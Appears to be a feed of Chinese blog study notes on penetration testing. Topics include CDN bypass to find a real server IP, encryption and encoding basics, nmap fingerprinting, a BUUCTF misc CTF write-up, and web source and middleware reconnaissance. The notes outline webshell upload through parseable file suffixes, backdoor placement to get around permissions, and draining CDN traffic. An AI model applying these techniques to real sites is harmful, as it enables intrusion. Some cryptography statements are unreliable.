title="CDN绕过技术"></a>CDN绕过技术</h3><p><strong>1、子域名查询</strong></p><p>子域名:同IP地址或同网段或不同网段</p><p>为了经济考虑,有些不会把分站做CDN服务,那对于子域名的查询即可推断出主站的IP地址</p><p>eg:</p><p>(1)因为设置域名解析所以访问网站是否有www都可以访问,但设置CDN的时候,有可能只将<a href="http://www.xxxxxx设置解析至cdn服务器,因此若超级ping/">www.xxxxxx设置解析至CDN服务器,因此若超级ping</a> xxxxxx时就不会有CDN可直接查找到真实IP地址</p><p>Get Site Ip(<a href="https://get-site-ip.com/)%EF%BC%9A%E7%AC%AC%E4%B8%89%E6%96%B9%E7%9C%9F%E5%AE%9EIP%E5%9C%B0%E5%9D%80%E9%AA%8C%E8%AF%81%EF%BC%88%E4%BB%85%E4%BE%9B%E5%8F%82%E8%80%83%EF%BC%89">https://get-site-ip.com/):第三方真实IP地址验证(仅供参考)</a></p><p>微部社区:(<a href="https://x.threatbook.cn/%EF%BC%89%EF%BC%9A%E5%8E%86%E5%8F%B2%E8%A7%A3%E6%9E%90%E8%AE%B0%E5%BD%95%E6%9F%A5%E8%AF%A2">https://x.threatbook.cn/):历史解析记录查询</a></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202191140147.png" alt="历史解析记录" style="zoom:67%;" /><p>(2)m.sp910 & sp910</p><p>对于一些网站,前面的**m.**代表手机类站点,因此在超级ping的时候可以通过ping:m.sp910查询IP地址</p><p>(3)oneforall子域名收集工具:kali</p><p><a href="https://github.com/shmilylty/OneForAll">https://github.com/shmilylty/OneForAll</a></p><pre><code>python3 oneforall.py --target example.com runpython3 oneforall.py --targets ./example.txt run</code></pre><p><strong>2、邮件服务查询</strong></p><p>公司的邮箱服务器大部分不会注册CDN,则可以追踪发件地址</p><p>查看邮件源码,查看received可以得到IP地址,再自己验证即可(可以用host文件验证)。</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202191210225.png" alt="原始信息" style="zoom:67%;" /><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202191214756.png" alt="received"></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202191213978.png" alt="received"></p><p><strong>3、国外地址请求</strong></p><p>若没有部署到国外的CDN节点,从国外访问目标找到真实地址</p><p><strong>4、引擎搜索特殊文件</strong></p><p>fofa:<a href="https://fofa.info/">https://fofa.info</a></p><p>shodan:<a href="https://www.shodan.io/">https://www.shodan.io</a></p><p>zoomeye:<a href="https://www.zoomeye.org/">https://www.zoomeye.org</a></p><p>favicon . hash值搜索:icohash脚本</p><pre><code>import mmh3 import requests response = requests.get('http://www.xx.com/favicon.ico') favicon = response.content.encode('base64') hash = mmh3.hash(favicon) print 'http.favicon.hash:'+str(hash)</code></pre><p><strong>5、DNS历史记录</strong></p><p>查看是否有未使用CDN之前的记录,如果有可以查看真实的IP地址</p><p>以量打量:CDN有流量的限制,如果只有100M,将其流量用完(多人访问)后再继续访问就是真实IP</p><p>工具(扫全网):<strong>fuckcdn</strong> w8fuckcdn zmap</p>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> 渗透学习 </tag>
</tags>
</entry>
<entry>
<title>渗透:加密算法</title>
<link href="/2022/02/03/%E6%B8%97%E9%80%8F%EF%BC%9A%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/"/>
<url>/2022/02/03/%E6%B8%97%E9%80%8F%EF%BC%9A%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/</url>
<content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>在渗透测试中,常见的密码等敏感信息会采用加密处理,作为安全测试人员必须要了解常见的加密方式,才能为后续的安全测试做好准备。</p><h3 id="1、常见加密编码等算法分析"><a href="#1、常见加密编码等算法分析" class="headerlink" title="1、常见加密编码等算法分析"></a>1、常见加密编码等算法分析</h3><p>MD5、SHA、ASC、进制、时间戳、URL、base64、Unescape、AES、DES</p><h4 id="(1)MD5(Hash)"><a href="#(1)MD5(Hash)" class="headerlink" title="(1)MD5(Hash)"></a>(1)MD5(Hash)</h4><p>一般会有32或16位,解密一般是枚举对比。</p><p>由数字(0-9)和字母(a-z)组合</p><h4 id="(2)SHA(Hash)"><a href="#(2)SHA(Hash)" class="headerlink" title="(2)SHA(Hash)"></a>(2)SHA(Hash)</h4><p>有四种:</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202041715037.png" alt="SHA" /><p>每种加密的位数是固定的,后面的数字越大,加密后的字符串越长。</p><p>由数字(0-9)和字母(a-z)组合</p><h4 id="(3)时间戳"><a href="#(3)时间戳" class="headerlink" title="(3)时间戳"></a>(3)时间戳</h4><p>禁止缓存css、js,使浏览器同步更新到服务器端最新的静态内容。</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202051400386.png" alt="时间戳"></p><h4 id="(4)URL编码"><a href="#(4)URL编码" class="headerlink" title="(4)URL编码"></a>(4)URL编码</h4><p>From:<a href="https://www.cnblogs.com/coco1s/p/5038412.html">https://www.cnblogs.com/coco1s/p/5038412.html</a></p><p>如果一样东西需要编码,说明这样东西并不适合传输。对于URL来说,是因为URL中有些字符会引起歧义。</p><p>例如,URL参数字符串中使用key=value键值对这样的形式来传参,键值对之间以&符号分隔,如<code>/s?q=abc&ie=utf-8</code>。如果你的value字符串中包含了=或者&,那么势必会造成接收URL的服务器解析错误,因此必须将引起歧义的&和=符号进行转义,也就是对其进行编码。</p><p>又如,URL 的编码格式采用的是ASCII码,而不是Unicode,这也就是说你不能在URL中包含任何非ASCII字符,例如中文。否则如果客户端浏览器和服务端浏览器支持的字符集不同的情况下,中文可能会造成问题。</p><p><strong>格式:%xx</strong>(A-Z、0-9)</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202051421982.png" alt="URL编码1" style="zoom: 50%;" /><img src="https://gitee.com/mie1732/emc/raw/master/img/202202051422291.png" alt="URL编码2" style="zoom:50%;" /><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202051425335.png" alt=" 1=1"></p><p>在原来的URL后输入“ 1=1”后,URL变为“%201=1”即空格被编码为%20</p><h4 id="(5)base64编码"><a href="#(5)base64编码" class="headerlink" title="(5)base64编码"></a>(5)base64编码</h4><p>使用64个可打印字符来表示二进制数据的方法,完成数据在HTTP协议上的传输</p><p>特点:</p><p>明文越长,编码越长。</p><p>A-Z、a-z、0-9、= 、+、/ 的随机组合</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202051431730.png" alt="base64编码" style="zoom:50%;" /><h4 id="(6)Unescape"><a href="#(6)Unescape" class="headerlink" title="(6)Unescape"></a>(6)Unescape</h4><p><strong>格式:%uxxxx (数字和小写字母)</strong></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202051438877.png" alt="奇数个" style="zoom: 67%;" /><p>明文为奇数个字母时:最后一位编码为%u00xx</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202051440221.png" alt="偶数个" style="zoom:67%;" /><p>明文为偶数个字母时:最后一位编码为%u0000</p><h4 id="(7)AES加密(对称加密)"><a href="#(7)AES加密(对称加密)" class="headerlink" title="(7)AES加密(对称加密)"></a>(7)AES加密(对称加密)</h4><p>From:<a href="https://zhuanlan.zhihu.com/p/131324301">https://zhuanlan.zhihu.com/p/131324301</a></p><p><a href="http://blog.csdn.net/zhaoyanjun6/article/details/120285594">http://blog.csdn.net/zhaoyanjun6/article/details/120285594</a></p><p>实际上是:分组密码加密</p><p>AES的区块长度固定为128位,密钥长度则可以是128 bit,192 bit 或256位 bit 。换算成字节长度,就是密码必须是 16个字节,24个字节,32个字节。AES密码的长度更长了,破解难度就增大了,更安全。</p><p>将明文简单的按照128bit为一个分块进行切割,把每个分块分别进行AES加密,然后再将得到的密文简单的拼接一下即可。</p><p>注意到AES加密只能加密128bit的分块,那问题就产生了:<strong>如果明文的长度不是128bit的倍数,就会存在一个分块不足128bit,那如何对这个分块进行加密?</strong></p><p>为了解决这个问题,发明了一种叫做<strong>填充</strong>的东西。<strong>OFB和CTR不需要填充!</strong></p><p>AES加密需要:明文 + 密钥+ 偏移量(IV)+密码模式(算法/模式/填充)<br>AES解密需要:密文 + 密钥+ 偏移量(IV)+密码模式(算法/模式/填充)</p><p>AES的算法模式一般为 <code>AES/CBC/PKCS7Padding</code></p><p>加密模式:</p><ul><li>电码本模式(ECB)</li><li>密码分组链接模式(CBC)</li><li>计算器模式(CTR)</li><li>密码反馈模式(CFB)</li><li>输出反馈模式(OFB)</li></ul><img src="https://gitee.com/mie1732/emc/raw/master/img/202202051453552.png" alt="AES加密" style="zoom: 50%;" /><p>模式: 在除ECB以外的所有加密方式中,都需要用到IV(初始化向量/偏移量)对加密结果进行随机化。</p><p>偏移量:一般是为了增加 AES加密的复杂度,增加数据的安全性。一般在 AES_256中会使用到 偏移量 ,而在 AES_128 加密中不会使用到。(不明白偏移量是什么)</p><p>在 AES加密中,一般用到的字符集是 <code>utf-8</code> 和 <code>gbk</code> 。</p><p><strong>注:</strong></p><ul><li>AES 加密/解密 使用相同的密钥</li><li>若涉及到偏移量,则AES 加密/解密 使用的偏移量要一样</li><li>AES 加密/解密 要使用相同加密数位,如都使用<code>AES_256</code></li><li>AES 加密/解密 使用相同的字符集</li><li>AES 加密/解密 使用相同的加密,填充模式,如都使用<code>AES/CBC/PKCS7Padding</code>模式</li><li>由于不同开发语言(如C 和 Java)及不同开发环境(如 Java 和 Android)的影响,可能相同的加解密算法在实现上出现差异,若你们注意到这个差异,就可能导致加解密出现问题</li></ul><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202051515674.png" alt="CBC模式"></p><p>实际上虽然最后的加密编码可以选择base64/hex(十六进制)但直接用其解密是不可行的</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202051517086.png" alt="base64直接解密" style="zoom: 67%;" /><h4 id="(8)DES加密"><a href="#(8)DES加密" class="headerlink" title="(8)DES加密"></a>(8)DES加密</h4><p>A-Z、a-z、0-9、= 、+、/ 的随机组合</p><p>并且可以组合密钥加密</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202061418349.png" alt="DES加密"></p><h3 id="2、常见加密形式算法解析"><a href="#2、常见加密形式算法解析" class="headerlink" title="2、常见加密形式算法解析"></a>2、常见加密形式算法解析</h3><p>直接加密,带 salt,带密码,带偏移,带位数,带模式,带干扰,自定义组合</p><h4 id="salt:"><a href="#salt:" class="headerlink" title="salt:"></a>salt:</h4><p>From:<a href="https://blog.csdn.net/JBlock/article/details/78446604">https://blog.csdn.net/JBlock/article/details/78446604</a></p><p>Salt 可以是任意字母、数字、或是字母或数字的组合,但必须是随机产生的,每个用户的 Salt 都不一样。</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202061420693.png" alt="注册时" style="zoom: 50%;" /><img src="https://gitee.com/mie1732/emc/raw/master/img/202202061421750.png" alt="登录时" style="zoom:50%;" /><h3 id="3、常见解密方式(针对)"><a href="#3、常见解密方式(针对)" class="headerlink" title="3、常见解密方式(针对)"></a>3、常见解密方式(针对)</h3><p>枚举,自定义逆向算法,可逆向</p><h3 id="4、了解常规加密算法的特性"><a href="#4、了解常规加密算法的特性" class="headerlink" title="4、了解常规加密算法的特性"></a>4、了解常规加密算法的特性</h3><p>长度位数,字符规律,代码分析,搜索获取等</p><h3 id="5、CMS加密解密"><a href="#5、CMS加密解密" class="headerlink" title="5、CMS加密解密"></a>5、CMS加密解密</h3><p>MD5+salt</p><p>eg:</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202082037775.png" alt="discuz" style="zoom: 50%;" /><p>md5(md5($pass).$salt);Vbulletin:IceBB dz</p><h3 id="6、某URL加密地址的漏洞测试"><a href="#6、某URL加密地址的漏洞测试" class="headerlink" title="6、某URL加密地址的漏洞测试"></a>6、某URL加密地址的漏洞测试</h3><p>AES+Base64+自定义 </p><p>观察参数值加密字符串,下载源代码分析,函数定义 AES 加密,涉及模式 CBC,128 位,加密密码,偏移量,两次 base64 减去常规一次,填充模式。</p>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> 渗透学习 </tag>
</tags>
</entry>
<entry>
<title>渗透:系统及数据库等</title>
<link href="/2022/01/28/%E6%B8%97%E9%80%8F%EF%BC%9A%E7%B3%BB%E7%BB%9F%E5%8F%8A%E6%95%B0%E6%8D%AE%E5%BA%93%E7%AD%89/"/>
<url>/2022/01/28/%E6%B8%97%E9%80%8F%EF%BC%9A%E7%B3%BB%E7%BB%9F%E5%8F%8A%E6%95%B0%E6%8D%AE%E5%BA%93%E7%AD%89/</url>
<content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>除去之前的搭建平台中间件,网站源码外,容易受到攻击的还有操作系统,数据库,第三方软件平台等,其中此类攻击也能直接影响到WEB或服务器的安全,导致网站或服务器权限的获取。</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201281538270.PNG"></p><h3 id="1、操作系统"><a href="#1、操作系统" class="headerlink" title="1、操作系统"></a>1、操作系统</h3><p>系统层面漏洞、识别、漏洞类型</p><p>1)Windows</p><p>2)Linux</p><p>注:</p><p>(1)Windows系统不严格区分大小写,Linux严格区分大小写。</p><p>因此,一般而言,对于网站:我们在url上修改大小写再访问即可判断是什么操作系统的服务器。</p><p>eg: xxx/?id=4 xxx/?iD=4</p><p>对于IP地址:一般用nmap扫描 </p><p><code>nmap -O IP地址</code> (最后只能扫描出可能性,一般看可能性最大的)</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201301153272.png" alt="nmap"></p><p>ping命令查看TTL(不太准确)</p><p>(2)文件对于操作系统的兼容问题、不同操作系统文件的存储方式(Windows分盘存储文件)</p><h3 id="2、WEB"><a href="#2、WEB" class="headerlink" title="2、WEB"></a>2、WEB</h3><p>1)网站源码:CMS,框架或内部源码不同思路</p><p> 内部或未知</p><p> 开源CMS</p><p> 框架或非框架类</p><p> 白盒代码审计,漏洞挖掘</p><p> 部分漏洞采用人工辅助探针</p><p>2)搭建平台:中间件安全</p><p> 配置导致安全问题</p><p> 安全配置防护:</p><p> IP或用户验证</p><p> 文件格式解析</p><p> 目录或文件执行权限</p><p> 数据库:数据库安全</p><p> 弱口令</p><p> 漏洞</p><p>注:</p><p>(1)数据库:</p><p>大部分网站为动态网站,小部分为静态网站(无数据传输,没有漏洞)</p><p>数据库类型:小型(access)、中型(mysql)、大型(Oracle)</p><p>(2)识别网站数据库:</p><p>不同脚本对应的数据库(兼容性好):</p><p>ASP + Access</p><p>PHP+ MySQL</p><p>ASPX + MSSQL</p><p>JSP + MySQL , oracle</p><p>python + MongoDB</p><p>端口扫描:数据库在运行时一般会开放默认端口</p><p>MySQL:3306</p><p>SqlServer:1433</p><p>Oracle:1521</p><p>MongoDB:27017</p><p>Redis:6379</p><p>memcached:11211</p><p>psotgreSQL:5432</p><p>vertica:5551</p><p>greenplum:5432</p><p>Derby:1527</p><p>db2:5000</p><p>pointbase:9092</p><p>informix:无默认</p><p>端口状态:</p><p>filtered:由于报文无法到达指定的端口,nmap不能够决定端口的开发状态</p><h3 id="3、APP:"><a href="#3、APP:" class="headerlink" title="3、APP:"></a>3、APP:</h3><p>系统漏洞、反编译提取url、抓包结合web</p><p>1)Android</p><p>2)IOS</p><h3 id="4、第三方:"><a href="#4、第三方:" class="headerlink" title="4、第三方:"></a>4、第三方:</h3><p>常见的第三方软件或服务器安全问题(站长或者服务器选装的一些软件)</p><p>1)openssh</p><p>2)weblogic</p><p>3)jboss</p><p>4)redis</p><p>5)serv-u</p><p>一般通过端口扫描判断(<code>nmap -sV</code> 目标主机的端口上运行的软件版本)</p><p>弱口令、版本漏洞攻击等</p><h3 id="补充"><a href="#补充" class="headerlink" title="补充"></a>补充</h3><p>除去常规web安全及APP安全测试外,类似服务器单一或复杂的其他服务(邮件,游戏,负载均衡等),也可以作为安全测试目标,此类目标测试原则只是少了web应用或其他安全问题。</p><p>热备份:在数据不停止的时候进行备份</p><p>负载均衡:为了防止设备过载,采用多个设备均分工作量。解决高并发问题。 </p>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> 渗透学习 </tag>
</tags>
</entry>
<entry>
<title>BUUCTF Misc(2)</title>
<link href="/2022/01/22/BUUCTF-Misc-2/"/>
<url>/2022/01/22/BUUCTF-Misc-2/</url>
<content type="html"><![CDATA[<p>原博主链接:<a href="https://davidcheyenneone.github.io/Misc/BUUCTF/BUUCTF%20Misc%202%EF%BC%8821-40%EF%BC%89.html">https://davidcheyenneone.github.io/Misc/BUUCTF/BUUCTF%20Misc%202%EF%BC%8821-40%EF%BC%89.html</a></p><h3 id="21、隐藏的钥匙"><a href="#21、隐藏的钥匙" class="headerlink" title="21、隐藏的钥匙"></a>21、隐藏的钥匙</h3><p>用十六进制编辑器打开图片,因为图片格式为jpg,因此搜索FF D9(文件尾标识)在之后发现一串加过密的flag,base64解密即可</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221417875.png" alt="FF D9为文件尾标志" style="zoom: 80%;" /><h3 id="22、另一个世界"><a href="#22、另一个世界" class="headerlink" title="22、另一个世界"></a>22、另一个世界</h3><p>用十六进制编辑器打开图片,在文件尾发现一串二进制,用二进制转字符即可得到</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221432464.png" alt="一串二进制数" style="zoom:80%;" /><h3 id="23、FLAG"><a href="#23、FLAG" class="headerlink" title="23、FLAG"></a>23、FLAG</h3><p>首先用十六进制器查看,没有什么发现foremost也未提取出东西,于是用zsteg查看,如图所示,确定为LSB隐写,用stegsolve查看图片</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221443069.png" alt="kali" style="zoom:80%;" /><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221503346.png" alt="Data Extract" style="zoom: 50%;" /><p>不知道为什么看不见十六进制,只能在保存的先不写文件格式。保存后用十六进制编辑器查看此文件(50 4B 03 04)是zip文件,增加文件后缀,解压得到一个未知格式的文件。</p><p>用十六进制器查看此文件。.ELF文件:文件格式,用于存储Linux程序。</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221501073.png" alt=".ELF文件" /><p>由提示搜索hctf文本即可得到flag</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221507125.png" alt="hctf" style="zoom:80%;" /><h3 id="24、假如给我三天光明"><a href="#24、假如给我三天光明" class="headerlink" title="24、假如给我三天光明"></a>24、假如给我三天光明</h3><p>下载后得到一个加密音频和一张照片。图片下方有这样的图案,搜索后发现是Braille盲文</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221511301.png" alt="image-20220122151130244"></p><h4 id="Braille盲文"><a href="#Braille盲文" class="headerlink" title="Braille盲文"></a>Braille盲文</h4><p>布莱尔创造的由6个点为基础结构的盲字,在纸面上有的凸起,有的不凸起,形成64种变化,即64种符形,在每个符号(单位称“方”)左右两列,每列各三个点,从左边自上而下叫做1、2、3点,从右边自上而下叫做4、5、6点。</p><p> <strong>1. 数字盲文</strong></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221517670.png" alt="数字"></p><p>解读:每个数字的盲文前面都有个“3456”点符形,是数号,表示后面的读作阿拉伯数字。</p><p><strong>2. 英语字母盲文(英语一级盲文)</strong></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221522395.png" alt="英语字母"></p><p>解读:英语盲文a-j都只是用了1245点位即上半截,和数字的一样;k-t是a-j下面加上了3号点位。</p><p><strong>3.</strong> <strong>汉语拼音盲文</strong></p><p> 汉语拼音盲文声母表(18个)</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221526938.png" alt="img" style="zoom:80%;" /><p>注意:声母g/k/h在韵母i/u/ü时变读为j/q/x。z/c/s/zh/ch/sh/r后面的i省略</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221526735.png" alt="img" style="zoom: 80%;" /><p>汉语拼音盲文韵母表(34个)</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221526941.png" style="zoom: 80%;" /><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221526729.png"></p><p>明显是英语字母盲文,从左到右分别代表:kmdonowg</p><p>解压出音频,是摩斯电码,用Audacity提取</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221550847.png"></p><p>较长的蓝色即为“-”,较短的即为“.”,每一段由-和.组成的即为一个字符。用“/”间隔。</p><p>-.-./-/..-./.–/.–././../—–/—../–…/…–/..—/..–../..—/…–/-../–../</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221554823.png" alt="摩尔斯电码转换" style="zoom: 67%;" /><h4 id="摩斯电码"><a href="#摩斯电码" class="headerlink" title="摩斯电码"></a>摩斯电码</h4><img src="https://gitee.com/mie1732/emc/raw/master/img/202201221555927.png" alt="摩斯电码表" style="zoom:67%;" /><h3 id="25、神秘龙卷风"><a href="#25、神秘龙卷风" class="headerlink" title="25、神秘龙卷风"></a>25、神秘龙卷风</h3><p>打开题目提示压缩包密码为4位纯数字密码,破解后得到一个记事本。</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202221028254.png" alt="Brainfuck" style="zoom: 50%;" /><p>发现是Brainfuck加密,<a href="https://www.splitbrain.org/services/ook%E5%8F%AF%E7%94%A8%E6%AD%A4%E7%BD%91%E7%AB%99%E8%A7%A3%E5%AF%86%E5%8D%B3%E5%8F%AF%E3%80%82">https://www.splitbrain.org/services/ook可用此网站解密即可。</a></p><p>brainfuck语言常用**> < + - . , [ ] **八种符号来替换C语言的各种语法和命令:<br>eg: +++++++++++++++++.>++++++++++++++++++</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202221033471.png" alt="Brainfuck解密" style="zoom:50%;" />]]></content>
<categories>
<category> Misc </category>
</categories>
<tags>
<tag> Misc </tag>
<tag> BUUCTF </tag>
</tags>
</entry>
<entry>
<title>渗透:web源码拓展</title>
<link href="/2022/01/17/%E6%B8%97%E9%80%8F%EF%BC%9Aweb%E6%BA%90%E7%A0%81%E6%8B%93%E5%B1%95/"/>
<url>/2022/01/17/%E6%B8%97%E9%80%8F%EF%BC%9Aweb%E6%BA%90%E7%A0%81%E6%8B%93%E5%B1%95/</url>
<content type="html"><![CDATA[<h3 id="1、web源码"><a href="#1、web源码" class="headerlink" title="1、web源码"></a>1、web源码</h3><p> WEB 源码在安全测试中是非常重要的信息来源,可以用来代码审计漏洞也可以用来做信息突破口,其中 WEB 源码有很多技术需要简明分析。 </p><p> eg:获取某 ASP 源码后可以采用默认数据库下载为突破,获取某其他脚本源码漏洞可以进行代码审计挖掘或分析其业务逻辑等,总之源码的获取将为后期的安全测试提供了更多的思路。</p><h3 id="2、web源码目录结构"><a href="#2、web源码目录结构" class="headerlink" title="2、web源码目录结构"></a>2、web源码目录结构</h3><p>源码有很多目录,最重要的四个目录:后台目录、模板目录、数据库目录、数据库配置文件</p><p>template:一般是网站模板文件</p><h3 id="3、web源码脚本类型"><a href="#3、web源码脚本类型" class="headerlink" title="3、web源码脚本类型"></a>3、web源码脚本类型</h3><p>先分析web源码的脚本类型</p><p>主要的几个:ASP、PHP、ASPX、JSP、JAVAWEB、 Python</p><p>不同的脚本会涉及这几个问题:数据库存储、解释或编译原理、语言安全</p><p><a href="https://websec.readthedocs.io/zh/latest/index.html">Web安全学习笔记 — Web安全学习笔记 1.0 文档 (websec.readthedocs.io)</a></p><h3 id="4、web源码应用分类"><a href="#4、web源码应用分类" class="headerlink" title="4、web源码应用分类"></a>4、web源码应用分类</h3><p>源码功能决定漏洞类型</p><p>门户:综合类漏洞</p><p>电商:业务逻辑突出</p><p>论坛:xss逻辑突出</p><p>第三方:据功能决定</p><p>源码获取途径:搜索引擎、闲鱼淘宝、第三方源码站(菜鸟源码)</p><h3 id="5、其他补充"><a href="#5、其他补充" class="headerlink" title="5、其他补充"></a>5、其他补充</h3><p>框架或非框架(若有漏洞找框架的漏洞) </p><p>CMS(内容管理系统)识别:人工,工具,平台识别</p><p>开源或内部:开源–直接找漏洞或审计 内部–常规渗透测试</p><p>源码获取:扫描备份文件获取,CMS识别后获取,特定源码特定渠道 </p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201171911649.png" alt="web源码" style="zoom: 67%;" /><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>关注应用分类及脚本类型估摸出可能存在的漏洞(其中框架类除外),在获取源码后可进行本地安全测试或代码审计,也可以分析其目录工作原理(数据库备份,bak文件等),未获取到的源码采用各种方法获取。</p><p>eg:</p><p>1、有些网站的脚本语言会在url处显示</p><p>2、如果知道某网站的框架后可以去找框架漏洞,如果是新的框架,就自己下载框架源码进行漏洞分析再利用</p><p>3、得到网站源码后找到数据库文件再找其中的账号密码表</p><p>4、涉及资源:</p><p> <a href="https://cnmmm.com/">https://cnmmm.com</a> </p><p><a href="https://w.ddosi.workers.dev/">https://w.ddosi.workers.dev</a> </p><p><a href="https://github.com/Lucifer1993/cmsprint">https://github.com/Lucifer1993/cmsprint</a> </p><p><a href="https://github.com/M4tir/Github-Monitor">https://github.com/M4tir/Github-Monitor</a> </p><p><a href="https://websec.readthedocs.io/zh/latest/language/index.html">https://websec.readthedocs.io/zh/latest/language/index.html</a> </p><p>5、如何运用cms指纹字典:(用cms工具识别)</p><p>每个框架都有对应的访问我呢间,访问给出的文件并下载,再在cmd中查看文件md5如果与字典中的md5匹配即为此框架</p><p>文件md5查看命令:<code>certutil -hashfile 文件名 MD5</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201270912861.PNG" alt="cms指纹字典" style="zoom:80%;" /><p>cms识别平台:</p><p><a href="http://whatweb.bugscaner.com/">http://whatweb.bugscaner.com</a> </p><p><a href="https://www.yunsee.cn/">https://www.yunsee.cn</a> </p><p>6、电商类网站的漏洞一般关注商品数量问题,一般来说功能越多漏洞越多</p><p>7、简要目标从识别到源码获取</p><p>(1)对于博客:可以通过数据包里的文件,搜索(jquery.min.js)寻找漏洞</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201281507915.png" alt="jquery.min.js"></p><p>(2)一般如果各种方法都不能判断出cms,可以认为是内部源码网站(淘宝等)</p>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> 渗透学习 </tag>
</tags>
</entry>
<entry>
<title>渗透:搭建安全拓展</title>
<link href="/2022/01/13/%E6%B8%97%E9%80%8F%EF%BC%9A%E6%90%AD%E5%BB%BA%E5%AE%89%E5%85%A8%E6%8B%93%E5%B1%95/"/>
<url>/2022/01/13/%E6%B8%97%E9%80%8F%EF%BC%9A%E6%90%AD%E5%BB%BA%E5%AE%89%E5%85%A8%E6%8B%93%E5%B1%95/</url>
<content type="html"><![CDATA[<h4 id="1、常见搭建平台脚本启用"><a href="#1、常见搭建平台脚本启用" class="headerlink" title="1、常见搭建平台脚本启用"></a>1、常见搭建平台脚本启用</h4><p>ASP、PHP、ASPX、JSP、Python、JAVAWEB等</p><h4 id="2、域名-IP-目录解析安全问题"><a href="#2、域名-IP-目录解析安全问题" class="headerlink" title="2、域名 IP 目录解析安全问题"></a>2、域名 IP 目录解析安全问题</h4><p>(1)一个服务器ip下可以有多个网站(用域名区分)</p><p>(2)对于一般网站,ip地址访问的是服务器下的目录文件(根目录),域名访问的是根目录中的某个目录。</p><p>(eg:网站备份,将网站的blog文件打包保存在根目录下,域名访问的是根目录里的blog文件)</p><h4 id="3、常见文件后缀解析对应安全"><a href="#3、常见文件后缀解析对应安全" class="headerlink" title="3、常见文件后缀解析对应安全"></a>3、常见文件后缀解析对应安全</h4><p>中间件根据文件后缀进行解析。</p><p>当要上传一句话木马时中间件会对文件后缀名进行过滤,如果使用中间件能正常解析的的后缀名上传文件即可达到入侵的目的。(用菜刀或蚁剑连接)</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201141653172.PNG" alt="ISS" style="zoom: 50%;" /><p>在此中间件中.cdx / .cd / .asp 都可解析为asp.dll文件</p><h4 id="4、常见安全测试中的安全防护"><a href="#4、常见安全测试中的安全防护" class="headerlink" title="4、常见安全测试中的安全防护"></a>4、常见安全测试中的安全防护</h4><img src="https://gitee.com/mie1732/emc/raw/master/img/202201162107765.PNG" style="zoom: 50%;" /><h4 id="5、WEB-后门与用户及文件权限"><a href="#5、WEB-后门与用户及文件权限" class="headerlink" title="5、WEB 后门与用户及文件权限"></a>5、WEB 后门与用户及文件权限</h4><img src="https://gitee.com/mie1732/emc/raw/master/img/202201162133533.PNG" alt="来宾账户:匿名" style="zoom:50%;" /><img src="https://gitee.com/mie1732/emc/raw/master/img/202201162134551.png" alt="脚本执行限制" style="zoom:50%;" /><p>权限问题:对于一般网站和目录都会设置操作权限,当某些文件无法绕过,就换目录绕过。(选择合适(有权限)的目录上传后门)</p><p>绕过思路:对于权限的设置,一般会在图片文件等非脚本执行文件进行限制,因此我们可以尝试在获得权限的有脚本目录上传后门(为保证自身的正常运行,一定不会在自己有脚本运行的网站进行权限限制)</p><h4 id="6、中间件"><a href="#6、中间件" class="headerlink" title="6、中间件"></a>6、中间件</h4><p>1)查看网站的数据包</p><p>响应头中的信息:</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201162142542.png" alt="Server" style="zoom: 80%;" /><p>知道中间件(搭建平台),根据此中间件的一般漏洞进行尝试。</p><p>2)Vulhub靶场练习</p><p>Ubuntu环境下使用</p><p>在对应漏洞目录下执行:</p><p>docker-compose build</p><p>docker-compose up-d</p><p>docker-compose config</p><p>docker-compose down(关闭)</p><p>(在 su root 下执行!)</p><p>3)docker:</p><p>查看容器:docker ps</p><p>映射端口:-p</p><p>docker run -P 8080:8080 -it 镜像名 </p><p>虚拟机的ip查看:ifconfig(192开头的)</p>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
